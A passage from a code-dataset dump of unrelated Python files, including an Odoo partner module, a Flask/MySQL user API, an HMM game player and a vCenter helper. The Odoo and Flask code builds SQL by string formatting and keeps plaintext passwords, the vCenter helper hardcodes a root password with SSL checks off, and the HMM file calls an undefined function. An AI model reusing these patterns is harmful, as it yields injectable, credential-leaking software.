_onchange_suggest_code(self, cr, uid, ids,new_code):\n if new_code:\n val={'value':{'ref':new_code,'newcode_suggest':False}}\n else:\n val={}\n return val\n \n \n def _parter_address_fnc(self, cr, uid, ids, name, arg, context=None):\n res={}\n if ids:\n tmp_list=[]\n partner_ids_lst=\",\".join(map(str,ids))\n \n cr.execute(\"Select rp.id,street || case when coalesce(city,'0')='0' then '' else ', ' || city end as address\\\n from res_partner rp left join res_partner_address on rp.id = partner_id\\\n where rp.id in (%s)\" % (partner_ids_lst)) #coalesce(partner_id,0)>0 and partner_\n for id,addr in cr.fetchall():\n if id not in tmp_list:\n res[id] =addr\n tmp_list.append(id) \n return res\n \n def _parter_tel(self, cr, uid, ids, name, arg, context=None):\n res={}\n if ids:\n tmp_list=[]\n partner_ids=\",\".join(map(str,ids))\n cr.execute(\"Select rp.id,phone\\\n from res_partner rp left join res_partner_address on rp.id = partner_id\\\n where rp.id in (%s)\" % (partner_ids))\n for id,addr in cr.fetchall():\n if id not in tmp_list:\n res[id] =addr\n tmp_list.append(id) \n return res\n \n def _parter_fax(self, cr, uid, ids, name, arg, context=None):\n res={}\n if ids:\n tmp_list=[]\n partner_ids=\",\".join(map(str,ids))\n cr.execute(\"Select rp.id,fax\\\n from res_partner rp left join res_partner_address on rp.id = partner_id\\\n where rp.id in (%s)\" % (partner_ids))\n for id,addr in cr.fetchall():\n if id not in tmp_list:\n res[id] =addr\n tmp_list.append(id) \n return res\n \n _columns={\n 'address_default':fields.function(_parter_address_fnc,type='char',string=\"Address\",size=254,method=True),\n 'tel_default':fields.function(_parter_tel,type='char',string=\"Phone\",size=20,method=True),\n 'fax_default':fields.function(_parter_fax,type='char',string=\"Fax\",size=20,method=True),\n \n 'ref':fields.char('Code', size=64,required=True),\n 'name': fields.char('Name', size=128, required=True, select=True, translate=True),\n \n 'trade_name':fields.char('Trade Name',size=25),\n 'vat_code':fields.char('V.A.T. Code',size=20),\n 'newcode_suggest':fields.selection(_newcode_suggest,'New Code',size=16,store=False),#,readonly=True,states={'draft':[('readonly',False)]}\n }\n _defaults={\n 'customer': lambda *a: False,\n 'supplier': lambda *a: 1,\n }\n _sql_constraints = [\n ('code_uniq', 'unique (ref)', 'The Code of the Partner must be unique !')\n ]\n def _new_type_def(self, cr, uid, context):\n typeoforder = False\n if context:\n if 'typeoforder' in context:\n typeoforder = context['typeoforder']\n return typeoforder\nres_partner()\n","sub_path":"src/kdvn_partner/kdvn_partner.py","file_name":"kdvn_partner.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"269812843","text":"# -*- coding: utf_8 -*-\n\n\"\"\"\n section 2 programs\n this is doc string\n\"\"\"\n\nimport numpy as np\n\ndef and_block(input1, input2):\n \"this is function doc string\"\n matrix_input = np.array([input1, input2])\n matrix_weight = np.array([0.5, 0.5])\n bias = -0.7\n tmp = np.sum(matrix_weight * matrix_input) + bias\n if tmp <= 0:\n return 0\n return 1\n\ndef nand_block(input1, input2):\n \"this is function doc string\"\n matrix_input = np.array([input1, input2])\n matrix_weight = np.array([-0.5, -0.5])\n bias = 0.7\n tmp = np.sum(matrix_input * matrix_weight) + bias\n if tmp <= 0:\n return 0\n return 1\n\ndef or_block(input1, input2):\n \"this is fuction doc string\"\n matrix_input = np.array([input1, input2])\n matrix_weight = np.array([0.5, 0.5])\n bias = -0.2\n tmp = np.sum(matrix_weight*matrix_input) + bias\n if tmp <= 0:\n return 0\n return 1\n\ndef xor_block(input1, input2):\n \"this is function doc string\"\n section1 = nand_block(input1, input2)\n section2 = or_block(input1, input2)\n output = and_block(section1, section2)\n return output\n\n#main point\nprint(xor_block(0, 0), end='')\nprint(xor_block(0, 1), end='')\nprint(xor_block(1, 0), end='')\nprint(xor_block(1, 1))\n","sub_path":"section2.py","file_name":"section2.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"637062395","text":"import math\nimport sys\nfrom pprint import pprint\n\nimport numpy as np\nfrom constants import *\nfrom player_controller_hmm import PlayerControllerHMMAbstract\n\nSTEP_OBSERVATION = 110\nepsilon = sys.float_info.epsilon\nN_HIDDEN = 1\n\n\ndef calculate(model, n, m, emissions, max_iters=1):\n A = model.A\n B = model.B\n initial_state = model.pi\n T = len(emissions)\n\n logprob = 1\n oldlogprob = -math.inf\n iters = 0\n while iters < max_iters and logprob > oldlogprob:\n ct = [0 for _ in range(T)]\n alpha = [[0 for _ in range(n)] for _ in range(T)]\n\n for i in range(n):\n alpha[0][i] = initial_state[0][i] * B[i][emissions[0]]\n ct[0] = ct[0] + alpha[0][i]\n\n ct[0] = 1 / (ct[0] + epsilon)\n for i in range(n):\n alpha[0][i] = ct[0] * alpha[0][i]\n\n for t in range(1, T):\n for i in range(n):\n for j in range(n):\n alpha[t][i] = alpha[t][i] + alpha[t - 1][j] * A[j][i]\n alpha[t][i] = alpha[t][i] * B[i][emissions[t]]\n ct[t] = ct[t] + alpha[t][i]\n\n # scale\n ct[t] = 1 / (ct[t] + epsilon)\n for i in range(n):\n alpha[t][i] = ct[t] * alpha[t][i]\n\n # beta-pass\n\n beta = [[ct[-1] for _ in range(n)] for _ in range(T)]\n\n for t in reversed(range(T - 1)):\n for i in range(n):\n beta[t][i] = 0.0\n for j in range(n):\n beta[t][i] = beta[t][i] + A[i][j] * B[j][emissions[t + 1]] * beta[t + 1][j]\n beta[t][i] = ct[t] * beta[t][i]\n\n # compute gamma_t(i,j) and gamma_t(i)\n\n gamma = [[0 for _ in range(n)] for _ in range(T)]\n gamma_ij = []\n\n for t in range(T - 1):\n gamma_aux = [[0 for _ in range(n)] for _ in range(n)]\n for i in range(n):\n for j in range(n):\n gamma_aux[i][j] = alpha[t][i] * A[i][j] * B[j][emissions[t + 1]] * beta[t + 1][j]\n gamma[t][i] = gamma[t][i] + gamma_aux[i][j]\n gamma_ij.append(gamma_aux)\n\n for i in range(n):\n gamma[T - 1][i] = alpha[T - 1][i]\n\n # re-estimate A, B and pi\n\n # pi\n initial_state = [gamma[0].copy()]\n # A\n for i in range(n):\n denom = 0\n for t in range(T - 1):\n denom = denom + gamma[t][i]\n for j in range(n):\n numer = 0\n for t in range(T - 1):\n numer = numer + gamma_ij[t][i][j]\n A[i][j] = numer / denom if denom != 0 else 0\n\n # B\n for i in range(n):\n denom = 0\n for t in range(T):\n denom = denom + gamma[t][i]\n for j in range(m):\n numer = 0\n for t in range(T):\n if emissions[t] == j:\n numer = numer + gamma[t][i]\n B[i][j] = numer / denom if denom != 0 else 0\n\n # compute log(P(O|lambda))\n logprob = 0\n for i in range(T):\n logprob = logprob + math.log(ct[i])\n logprob = -logprob\n # print(\"logprob \", logprob, oldlogprob)\n iters = iters + 1\n if iters != 1: oldlogprob = logprob\n\n print(\"iteracion: \", iters)\n return A, B, initial_state\n\n\ndef elementwise_multiply(matrix_a, matrix_b):\n return [[a * b for a, b in zip(matrix_a[0], matrix_b)]]\n\n\ndef transpose(matrix):\n return [list(i) for i in zip(*matrix)]\n # return list(map(list, zip(*matrix)))\n\n\ndef matrix_multiply(matrix_a, matrix_b):\n '''mat = [[0] * len(matrix_b[0])] * len(matrix_a)\n for i in range(len(matrix_a)):\n for j in range(len(matrix_b[0])):\n for k in range(len(matrix_b)):\n mat[i][j] += matrix_a[i][k] * matrix_b[k][j]\n return mat'''\n # comprehension list are faster\n return [[sum(a * b for a, b in zip(a_row, b_col)) for b_col in zip(*matrix_b)] for a_row in matrix_a]\n\n\ndef alpha_pass(fish, model):\n obs = transpose(model.B)\n alpha = elementwise_multiply(model.pi, obs[fish[0]])\n\n for e in fish[1:]:\n alpha = matrix_multiply(alpha, model.A)\n alpha = elementwise_multiply(alpha, obs[e])\n\n return sum(alpha[0])\n\n\ndef row_stochastic_matrix(n, precision=1000):\n matrix = [(1 / n) + np.random.rand() / precision for _ in range(n)]\n s = sum(matrix)\n return [m / s for m in matrix]\n\n\nclass Model:\n def __init__(self, species, emissions):\n self.pi = [rowStochasticMatrix(species)]\n self.A = [rowStochasticMatrix(species) for _ in range(species)]\n self.B = [rowStochasticMatrix(emissions) for _ in range(species)]\n '''\n self.pi = np.random.dirichlet(np.ones(species),size=1)\n self.A = [np.random.dirichlet(np.ones(species),size=1)[0] for _ in range(species)]\n self.B = [np.random.dirichlet(np.ones(emissions),size=1)[0] for _ in range(species)]\n self.pi = [[1 / species for _ in range(species)]]\n self.A = [[1 / species for _ in range(species)] for _ in range(species)]\n self.B = [[1 / emissions for _ in range(emissions)] for _ in range(species)]\n '''\n\n def set_A(self, A):\n self.A = A\n\n def set_B(self, B):\n self.B = B\n\n def set_pi(self, pi):\n self.pi = pi\n\n\nclass PlayerControllerHMM(PlayerControllerHMMAbstract):\n\n def update_model(self, model_id):\n pprint(self.models_fish[model_id].B)\n A, B, pi = calculate(self.models_fish[model_id], N_HIDDEN, N_EMISSIONS, self.obs, max_iters=30)\n self.models_fish[model_id].set_A(A)\n self.models_fish[model_id].set_B(B)\n self.models_fish[model_id].set_pi(pi)\n print(\"*************************\")\n pprint(B)\n # print(\"model_id: \", model_id)\n\n # else:\n # A, B, pi = calculate(self.models_fish[model_id], N_SPECIES, N_EMISSIONS, obs)\n\n def init_parameters(self):\n \"\"\"\n In this function you should initialize the parameters you will need,\n such as the initialization of models, or fishes, among others.\n \"\"\"\n self.seen_fishes = set()\n self.seen_species = set()\n\n self.models_fish = [Model(N_HIDDEN, N_EMISSIONS) for _ in range(N_SPECIES)]\n\n self.fishes = [(i, []) for i in range(N_FISH)]\n\n self.count_guess_total = 0\n\n def guess(self, step, observations):\n \"\"\"\n This method gets called on every iteration, providing observations.\n Here the player should process and store this information,\n and optionally make a guess by returning a tuple containing the fish index and the guess.\n :param step: iteration number\n :param observations: a list of N_FISH observations, encoded as integers\n :return: None or a tuple (fish_id, fish_type)\n \"\"\"\n for i in range(len(self.fishes)):\n self.fishes[i][1].append(observations[i])\n\n if step < STEP_OBSERVATION:\n return None\n else:\n index_fish, obs = self.fishes.pop()\n index_type = 0\n max = 0\n for model, j in zip(self.models_fish, range(N_SPECIES)):\n m = alpha_pass(obs, model)\n if m > max:\n max = m\n index_type = j\n self.obs = obs\n # print(\"prob: \", math.log(max))\n return index_fish, index_type\n\n def reveal(self, correct, fish_id, true_type):\n \"\"\"\n This methods gets called whenever a guess was made.\n It informs the player about the guess result\n and reveals the correct type of that fish.\n :param correct: tells if the guess was correct\n :param fish_id: fish's index\n :param true_type: the correct type of the fish\n :return:\n \"\"\"\n # print(correct, true_type)\n self.count_guess_total += 1\n # print(self.count_guess_total)\n if true_type not in self.seen_species:\n self.update_model(true_type)\n self.seen_species.add(true_type)\n","sub_path":"HMM/hmm_sk/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":8065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649802286","text":"# assumes that the triangle isn't standing on its tip\ndef maximum_total(rows):\n for i in reversed(range(1, len(rows))):\n for j in range(len(rows[i]) - 1):\n m = max(rows[i][j], rows[i][j + 1])\n rows[i - 1][j] += m\n return rows[0][0]\n\nrows = []\nwith open(\"data\") as f:\n for line in f:\n rows.append([int(x) for x in line.split()])\n\nprint(maximum_total(rows))","sub_path":"18/18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"319928776","text":"from db_config import mysql\nfrom flask_restful import Resource, reqparse\n\n\nclass User:\n def __init__(self, _id, first_name, last_name, email, password, is_active=None, date_of_birth=None, gender=None, linkedin_url=None, github_url=None, phone_number=None, address=None, admin=False, student_id=None, batch=None, branch=None, semester=None, current_cg=None, total_backlogs=None, cg_marksheet=None, school_name_12=None, percentage_12=None, marksheet_12=None, school_name_10=None, percentage_10=None, marksheet_10=None):\n self.id = _id\n self.email = email\n self.admin = admin\n self.batch = batch\n self.gender = gender\n self.branch = branch\n self.address = address\n self.semester = semester\n self.password = password\n self.last_name = last_name\n self.is_active = is_active\n self.first_name = first_name\n self.current_cg = current_cg\n self.student_id = student_id\n self.github_url = github_url\n self.cg_marksheet = cg_marksheet\n self.phone_number = phone_number\n self.linkedin_url = linkedin_url\n self.marksheet_12 = marksheet_12\n self.marksheet_10 = marksheet_10\n self.percentage_10 = percentage_10\n self.percentage_12 = percentage_12\n self.date_of_birth = date_of_birth\n self.school_name_12 = school_name_12\n self.school_name_10 = school_name_10\n self.total_backlogs = total_backlogs\n\n @staticmethod\n def create_table():\n connection = mysql.connect()\n cursor = connection.cursor()\n\n create_user_table = \"CREATE TABLE IF NOT EXISTS users (\" \\\n \"id INT AUTO_INCREMENT PRIMARY KEY,\" \\\n \"first_name TEXT NOT NULL,\" \\\n \"last_name TEXT NOT NULL,\" \\\n \"date_of_birth TEXT,\" \\\n \"gender TEXT,\" \\\n \"linkedin_url TEXT,\" \\\n \"github_url TEXT,\" \\\n \"email TEXT NOT NULL UNIQUE,\" \\\n \"password TEXT NOT NULL,\" \\\n \"phone_number TEXT,\" \\\n \"address TEXT,\" \\\n \"admin BOOLEAN DEFAULT FALSE,\" \\\n \"student_id TEXT,\" \\\n \"batch TEXT,\" \\\n \"branch TEXT,\" \\\n \"semester TEXT,\" \\\n \"current_cg FLOAT,\" \\\n \"total_backlogs INT,\" \\\n \"cg_marksheet TEXT,\" \\\n \"school_name_12 TEXT,\" \\\n \"percentage_12 TEXT,\" \\\n \"marksheet_12 TEXT,\" \\\n \"school_name_10 TEXT,\" \\\n \"percentage_10 TEXT,\" \\\n \"marksheet_10 TEXT,\" \\\n \"is_active BOOLEAN DEFAULT TRUE\" \\\n \");\"\n\n cursor.execute(create_user_table)\n connection.commit()\n connection.close()\n\n def find_id_by_email(self):\n connection = mysql.connect()\n cursor = connection.cursor()\n\n cursor.execute(f\"SELECT id FROM users WHERE email='{self.email}'\")\n user_id = cursor.fetchone()[0]\n connection.close()\n\n return user_id if user_id else None\n\n def find_by_email(self):\n connection = mysql.connect()\n cursor = connection.cursor()\n\n cursor.execute(f\"SELECT id FROM users WHERE email='{self.email}'\")\n result = cursor.fetchone()\n connection.close()\n\n return True if result else False\n\n def user_authentication(self):\n connection = mysql.connect()\n cursor = connection.cursor()\n\n cursor.execute(f\"SELECT * FROM users WHERE email='{self.email}' AND password='{self.password}'\")\n user_data = cursor.fetchone()\n\n connection.close()\n\n return user_data if user_data else None\n\n @staticmethod\n def find_by_id(_id):\n connection = mysql.connect()\n cursor = connection.cursor()\n\n cursor.execute(f\"SELECT * FROM users WHERE id={_id}\")\n user = cursor.fetchone()\n\n connection.close()\n\n return user if user else None\n\n @staticmethod\n def find_all_users():\n connection = mysql.connect()\n cursor = connection.cursor()\n\n cursor.execute(f\"SELECT * FROM users\")\n all_users = cursor.fetchall()\n\n return all_users if all_users else None\n\n\nclass UserRegister(Resource):\n parser = reqparse.RequestParser()\n\n parser.add_argument(\"first_name\", type=str, required=True, help=\"This field cannot be blank\")\n parser.add_argument(\"last_name\", type=str, required=True, help=\"This field cannot be blank\")\n parser.add_argument(\"email\", type=str, required=True, help=\"This field cannot be blank\")\n parser.add_argument(\"password\", type=str, required=True, help=\"This field cannot be blank\")\n\n @staticmethod\n def post():\n \"\"\"This method will be used for signing up students initially.\"\"\"\n\n data = UserRegister.parser.parse_args()\n\n connection = mysql.connect()\n cursor = connection.cursor()\n user_found = User(None, None, None, data['email'], None).find_by_email()\n\n if not user_found:\n cursor.execute(\n f\"INSERT INTO users (first_name,last_name,email,password) VALUES ('{data['first_name']}','{data['last_name']}','{data['email']}','{data['password']}')\"\n )\n else:\n connection.commit()\n connection.close()\n return {\"message\": \"User already exsists!\"}, 200\n\n\n connection.commit()\n connection.close()\n\n return {\"message\": \"User created successfully.\"}, 201\n\n\nclass UserModification(Resource):\n parser = reqparse.RequestParser()\n\n parser.add_argument(\"email\", type=str, required=True, help=\"This field cannot be blank\")\n parser.add_argument(\"date_of_birth\", type=str, required=False)\n parser.add_argument(\"gender\", type=str, required=False)\n parser.add_argument(\"linkedin_url\", type=str, required=False)\n parser.add_argument(\"github_url\", type=str, required=False)\n parser.add_argument(\"phone_number\", type=str, required=False)\n parser.add_argument(\"address\", type=str, required=False)\n parser.add_argument(\"admin\", type=bool, required=False)\n parser.add_argument(\"is_active\", type=bool, required=False)\n parser.add_argument(\"student_id\", type=str, required=False)\n parser.add_argument(\"batch\", type=str, required=False)\n parser.add_argument(\"branch\", type=str, required=False)\n parser.add_argument(\"semester\", type=str, required=False)\n parser.add_argument(\"current_cg\", type=float, required=False)\n parser.add_argument(\"total_backlogs\", type=int, required=False)\n parser.add_argument(\"cg_marksheet\", type=str, required=False)\n parser.add_argument(\"school_name_12\", type=str, required=False)\n parser.add_argument(\"percentage_12\", type=str, required=False)\n parser.add_argument(\"marksheet_12\", type=str, required=False)\n parser.add_argument(\"school_name_10\", type=str, required=False)\n parser.add_argument(\"percentage_10\", type=str, required=False)\n parser.add_argument(\"marksheet_10\", type=str, required=False)\n\n @staticmethod\n def add_response(response, status, field):\n if status:\n response[field] = 'updated'\n else:\n response[field] = 'update_failed'\n return response\n\n def patch(self):\n data = UserModification.parser.parse_args()\n\n user_id = User(None, None, None, data['email'], None).find_id_by_email()\n response = {}\n\n if user_id:\n if data['date_of_birth']:\n response = self.add_response(response, self.update(user_id, 'date_of_birth', data['date_of_birth']), \"date_of_birth\")\n if data['gender']:\n response = self.add_response(response, self.update(user_id, 'gender', data['gender']), \"gender\")\n if data['linkedin_url']:\n response = self.add_response(response, self.update(user_id, 'linkedin_url', data['linkedin_url']), \"linkedin_url\")\n if data['github_url']:\n response = self.add_response(response, self.update(user_id, 'github_url', data['github_url']), \"github_url\")\n if data['phone_number']:\n response = self.add_response(response, self.update(user_id, 'phone_number', data['phone_number']), \"phone_number\")\n if data['address']:\n response = self.add_response(response, self.update(user_id, 'address', data['address']), \"address\")\n if data['admin'] == False or data['admin'] == True:\n response = self.add_response(response, self.update(user_id, 'admin', data['admin']), \"admin\")\n if data['is_active'] == False or data['is_active'] == True:\n response = self.add_response(response, self.update(user_id, 'is_active', data['is_active']), \"is_active\")\n if data['student_id']:\n response = self.add_response(response, self.update(user_id, 'student_id', data['student_id']), \"student_id\")\n if data['batch']:\n response = self.add_response(response, self.update(user_id, 'batch', data['batch']), \"batch\")\n if data['branch']:\n response = self.add_response(response, self.update(user_id, 'branch', data['branch']), \"branch\")\n if data['semester']:\n response = self.add_response(response, self.update(user_id, 'semester', data['semester']), \"semester\")\n if data['current_cg']:\n response = self.add_response(response, self.update(user_id, 'current_cg', data['current_cg']), \"current_cg\")\n if data['total_backlogs'] != None:\n if data['total_backlogs'] >= 0:\n response = self.add_response(response, self.update(user_id, 'total_backlogs', data['total_backlogs']), \"total_backlogs\")\n if data['cg_marksheet']:\n response = self.add_response(response, self.update(user_id, 'cg_marksheet', data['cg_marksheet']), \"cg_marksheet\")\n if data['school_name_12']:\n response = self.add_response(response, self.update(user_id, 'school_name_12', data['school_name_12']), \"school_name_12\")\n if data['percentage_12']:\n response = self.add_response(response, self.update(user_id, 'percentage_12', data['percentage_12']), \"percentage_12\")\n if data['marksheet_12']:\n response = self.add_response(response, self.update(user_id, 'marksheet_12', data['marksheet_12']), \"marksheet_12\")\n if data['school_name_10']:\n response = self.add_response(response, self.update(user_id, 'school_name_10', data['school_name_10']), \"school_name_10\")\n if data['percentage_10']:\n response = self.add_response(response, self.update(user_id, 'percentage_10', data['percentage_10']), \"percentage_10\")\n if data['marksheet_10']:\n response = self.add_response(response, self.update(user_id, 'marksheet_10', data['marksheet_10']), \"marksheet_10\")\n return {\"message\": \"user found!\", \"update_status\": response}, 202\n else:\n return {\"message\": \"user was not found!\"}, 401\n\n @classmethod\n def update(cls, user_id, field, field_value):\n connection = mysql.connect()\n cursor = connection.cursor()\n\n if field not in ['is_active', 'admin', 'current_cg', 'total_backlogs']:\n cursor.execute(f\"UPDATE users SET {field}='{field_value}' WHERE id={user_id}\")\n elif field == 'current_cg':\n cursor.execute(f\"UPDATE users SET current_cg={field_value} WHERE id={user_id}\")\n elif field == 'total_backlogs':\n cursor.execute(f\"UPDATE users SET total_backlogs={field_value} WHERE id={user_id}\")\n elif field == 'admin':\n cursor.execute(f\"UPDATE users SET admin={field_value} WHERE id={user_id}\")\n elif field == 'is_active':\n cursor.execute(f\"UPDATE users SET is_active={field_value} WHERE id={user_id}\")\n else:\n connection.commit()\n connection.close()\n return False\n\n connection.commit()\n connection.close()\n return True\n\n\nclass UserData(Resource):\n parser = reqparse.RequestParser()\n\n parser.add_argument(\"email\", type=str, required=True, help=\"This field cannot be blank\")\n parser.add_argument(\"password\", type=str, required=True, help=\"This field cannot be blank\")\n\n @staticmethod\n def json(user):\n return {\n \"first_name\": user[1],\n \"last_name\": user[2],\n \"date_of_birth\": user[3],\n \"gender\": user[4],\n \"linkedin_url\": user[5],\n \"github_url\": user[6],\n \"email\": user[7],\n \"phone_number\": user[9],\n \"address\": user[10],\n \"admin\": user[11],\n \"student_id\": user[12],\n \"batch\": user[13],\n \"branch\": user[14],\n \"semester\": user[15],\n \"current_cg\": user[16],\n \"total_backlogs\": user[17],\n \"cg_marksheet\": user[18],\n \"school_name_12\": user[19],\n \"percentage_12\": user[20],\n \"marksheet_12\": user[21],\n \"school_name_10\": user[22],\n \"percentage_10\": user[23],\n \"marksheet_10\": user[24],\n \"is_active\": user[25]\n }\n\n def get(self):\n data = UserData.parser.parse_args()\n\n user = User(None, None, None, data['email'], data['password']).user_authentication()\n if user:\n return {\"user\": self.json(user)}, 200\n else:\n return {\"message\": \"user not found!\"}, 404\n\n\nclass UserDataList(Resource):\n\n @staticmethod\n def get():\n users = User(None, None, None, None, None, None, None, None, None, None).find_all_users()\n\n all_users = []\n\n for user in users:\n all_users.append(UserData.json(user))\n\n if all_users:\n return {\"all_users\": all_users}, 200\n else:\n return {\"message\": \"No user was found!\"}, 404","sub_path":"backend/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":14340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"181835458","text":"# 题目:求1+2+3+...+n,要求不能使用乘除法、for、while、if、else、switch、case等关键字及条件判断语句(A?B:C)。\n\n\n\n# -*- coding:utf-8 -*-\n\n\nclass Solution:\n def Sum_Solution(self, n):\n # write code here\n ans=n\n temp=ans and self.Sum_Solution(n-1)\n ans=ans+temp\n return ans","sub_path":"剑指offer/047.求1+2+3+...+n.py","file_name":"047.求1+2+3+...+n.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"67315682","text":"from pyVim.connect import SmartConnect\nfrom pyVmomi import vim\n\n\ndef connect():\n \"\"\"\n Connexion to ESXi/vCenter. \n - host: the IP or hostname of the ESXi/vCenter\n - user: ESXi/vCenter user\n - pwd: ESXi/vCenter password\n \"\"\"\n service_instance = SmartConnect(host=\"10.144.208.13\", user=\"root\", pwd=\"PE3h3r$!\", disableSslCertValidation=True)\n return service_instance.RetrieveServiceContent()\n\n\ndef get_vm(content, vm_name = None):\n \"\"\"\n Get the VM from its name\n - content: the vmWare ServiceContent\n - vm_name (optional): the name of the VM to retrieve\n \"\"\"\n if vm_name is None:\n vm_name = \"fileserver\"\n container = content.rootFolder\n view_type = [vim.VirtualMachine]\n recursive = True\n\n container_view = content.viewManager.CreateContainerView(\n container, view_type, recursive\n )\n vm_list = container_view.view\n for vm in vm_list:\n if vm.name == vm_name:\n return vm\n","sub_path":"python_correction_files/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"644074229","text":"if \"bpy\" in locals():\n import imp\n imp.reload(socket_api)\n imp.reload(_converters)\n imp.reload(processors)\nelse:\n import bpy\n from . import socket_api\n from . import converters as _converters\n from . import processors\n\nimport os\nimport socket\nimport struct\nimport subprocess\nimport sys\nimport time\nimport collections\n\nimport bpy\nimport mathutils\n\nfrom OpenGL.GL import *\n\n\nDEFAULT_WATCHLIST = [\n #\"actions\",\n #\"armatures\",\n \"cameras\",\n \"images\",\n \"lamps\",\n \"materials\",\n \"meshes\",\n \"objects\",\n \"scenes\",\n #\"sounds\",\n #\"speakers\",\n \"textures\",\n #\"worlds\",\n]\n\n\nclass _BaseFunc:\n def __call__(self, data_set):\n pass\n\nViewportTuple = collections.namedtuple('Viewport', ('height', 'width'))\n\ndef get_collection_name(collection):\n class_name = collection.rna_type.__class__.__name__\n clean_name = class_name.replace(\"BlendData\", \"\").lower()\n return clean_name\n\n\nclass RealTimeEngine():\n bl_idname = 'RTE_FRAMEWORK'\n bl_label = \"Real Time Engine Framework\"\n\n def __init__(self, **kwargs):\n # Display image\n self.width = 1\n self.height = 1\n self.clock = time.perf_counter()\n\n self.draw_lock = False\n self.override_context = None\n\n if 'converter' in kwargs:\n self.converter = converter\n else:\n self.converter = _converters.BTFConverter()\n\n if 'processor' in kwargs:\n self.processor = kwargs['processor']\n else:\n self.display = processors.DoubleBuffer(3, self.draw_callback)\n self.processor = processors.DummyProcessor(self.display)\n\n self.remove_delta = {}\n self.add_delta = {}\n self.update_delta = {}\n self.view_delta = {}\n\n watch_list = kwargs['watch_list'] if 'watch_list' in kwargs else DEFAULT_WATCHLIST\n self._watch_list = [getattr(bpy.data, i) for i in watch_list]\n\n self._tracking_sets = {}\n for collection in self._watch_list:\n collection_name = get_collection_name(collection)\n self._tracking_sets[collection_name] = set()\n\n self._old_vmat = None\n self._old_pmat = None\n self._old_viewport = None\n\n\n def main_loop(scene):\n try:\n new_time = time.perf_counter()\n dt = new_time - self.clock\n self.clock = new_time\n self.main_update(dt)\n except ReferenceError:\n bpy.app.handlers.scene_update_post.remove(main_loop)\n\n bpy.app.handlers.scene_update_post.append(main_loop)\n\n self.tex = glGenTextures(1)\n\n def view_update(self, context):\n \"\"\" Called when the scene is changed \"\"\"\n\n for collection in self._watch_list:\n collection_name = get_collection_name(collection)\n collection_set = set(collection)\n tracking_set = self._tracking_sets[collection_name]\n\n # Check for new items\n add_set = collection_set - tracking_set\n self.add_delta[collection_name] = add_set\n tracking_set |= add_set\n\n # Check for removed items\n remove_set = tracking_set - collection_set\n self.remove_delta[collection_name] = remove_set\n tracking_set -= remove_set\n\n # Check for updates\n update_set = {item for item in collection if item.is_updated}\n self.update_delta[collection_name] = update_set\n\n def view_draw(self, context):\n \"\"\" Called when viewport settings change \"\"\"\n self.override_context = context.copy()\n region = context.region\n view = context.region_data\n\n vmat = view.view_matrix.copy()\n vmat_inv = vmat.inverted()\n pmat = view.perspective_matrix * vmat_inv\n\n viewport = [region.x, region.y, region.width, region.height]\n\n self.update_view(vmat, pmat, viewport)\n\n glPushAttrib(GL_ALL_ATTRIB_BITS)\n\n glDisable(GL_DEPTH_TEST)\n glDisable(GL_CULL_FACE)\n glDisable(GL_STENCIL_TEST)\n glEnable(GL_TEXTURE_2D)\n\n glClearColor(0, 0, 1, 1)\n glClear(GL_COLOR_BUFFER_BIT)\n\n glMatrixMode(GL_MODELVIEW)\n glPushMatrix()\n glLoadIdentity()\n glMatrixMode(GL_PROJECTION)\n glPushMatrix()\n glLoadIdentity()\n\n glActiveTexture(GL_TEXTURE0)\n glBindTexture(GL_TEXTURE_2D, self.tex)\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB8, self.width, self.height, 0, GL_RGB,\n GL_UNSIGNED_BYTE, self.processor.image_buffer)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\n\n glBegin(GL_QUADS)\n glColor3f(1.0, 1.0, 1.0)\n glTexCoord2f(0.0, 0.0)\n glVertex3i(-1, -1, 0)\n glTexCoord2f(1.0, 0.0)\n glVertex3i(1, -1, 0)\n glTexCoord2f(1.0, 1.0)\n glVertex3i(1, 1, 0)\n glTexCoord2f(0.0, 1.0)\n glVertex3i(-1, 1, 0)\n glEnd()\n\n glPopMatrix()\n glMatrixMode(GL_MODELVIEW)\n glPopMatrix()\n\n glPopAttrib()\n\n def update_view(self, view_matrix, projection_matrix, viewport):\n if view_matrix != self._old_vmat:\n self._old_vmat = view_matrix\n self.view_delta['view_matrix'] = view_matrix\n\n if projection_matrix != self._old_pmat:\n self._old_pmat = projection_matrix\n self.view_delta['projection_matrix'] = projection_matrix\n\n if viewport != self._old_viewport:\n self._old_viewport = viewport\n self.view_delta['viewport'] = ViewportTuple(width=viewport[2], height=viewport[3])\n\n def draw_callback(self):\n '''Forces a view_draw to occur'''\n self.tag_redraw()\n\n def main_update(self, dt):\n def converter_callback(data):\n self.processor.process_data(data)\n\n if self.add_delta or self.update_delta or self.view_delta:\n self.converter.convert(self.add_delta, self.update_delta, self.remove_delta, self.view_delta, converter_callback)\n self.add_delta.clear()\n self.update_delta.clear()\n self.remove_delta.clear()\n self.view_delta.clear()\n self.processor.update(dt)\n","sub_path":"brte/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":6252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"586126206","text":"from sklearn.cluster import DBSCAN\nfrom sklearn.manifold import TSNE \nimport numpy as np\n\ndef cluster_dbscan(vectors: np.ndarray, **kwargs):\n clustering = DBSCAN(**kwargs)\n clustering.fit(vectors)\n\n return clustering.labels_\n\n\ndef reduce_dimensions(vectors: np.ndarray):\n num_dimensions = 2 # final num dimensions 